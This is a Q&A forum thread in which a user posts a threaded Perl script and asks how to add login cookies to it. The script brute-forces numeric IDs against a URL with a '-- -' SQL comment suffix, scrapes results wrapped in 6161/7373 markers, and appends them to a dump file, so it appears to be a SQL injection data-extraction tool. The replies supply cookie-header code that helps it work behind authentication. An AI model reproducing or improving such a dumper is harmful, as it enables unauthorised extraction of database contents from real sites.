• Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 252
  • Last Modified:

Embedding Cookies In Perl

This will dump data from my server using perl
but I added login/pass and I don't know how to embedd cookies
can someone help ?
Thanks
#!/usr/bin/perl
use strict;
use threads;
use threads::shared;
use LWP::UserAgent;
system ("color E");
system ("Greedx");
################################################
my $link = "";
################################################
my $delay   = 1;
my $threads = 1;
my $ends = "-- -";
my ($dat,$out);
my @trl;
my @count : shared = (6000000..60000000);
for(0..$threads) {$trl[$_] = threads->create(\&main, $_);}
for(@trl) { $_->join; }
sub main
{
    while(@count)
    {
        my $ua = LWP::UserAgent->new;
        my $id = shift @count;
        my $an = $ua->get("$link$id$ends")->content;
        sleep $delay;
        if($an =~ /6161:(.*?):7373/i)
        {
            my $dump = $1;
            print "[ $id ] $dump\n";
            open $dat, '>>', $out = "Dumped-Data.txt";
            print $dat "$dump\n";
        }
    }
}

Open in new window

0
Greedx
Asked:
Greedx
2 Solutions
 
wilcoxonCommented:
I think you need to:
* move my $ua = outside the loop
* call $ua->cookie_jar(@args) after initializing $ua (see perldoc LWP::UserAgent)
* I think this will be enough - if not, you'll also need to modify the $ua->get call (though I'm not sure how)

Sorry I couldn't give you more exact changes but it's been quite a while since I've done something similar.
0
 
kyanwanCommented:
Write the header.  It's easy.

my @headers = ('Cookie' => 'chocolate-chips=yes; sugar=good; fresh=yes;',);
$browser->get("http://www.that_URL_you_are_getting.com", @headers);

Open in new window


0
 
Suhas .QA ManagerCommented:
This question has been classified as abandoned and is closed as part of the Cleanup Program. See the recommendation for more details.
0

Featured Post

Free Tool: Port Scanner

Check which ports are open to the outside world. Helps make sure that your firewall rules are working as intended.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

Tackle projects and never again get stuck behind a technical roadblock.
Join Now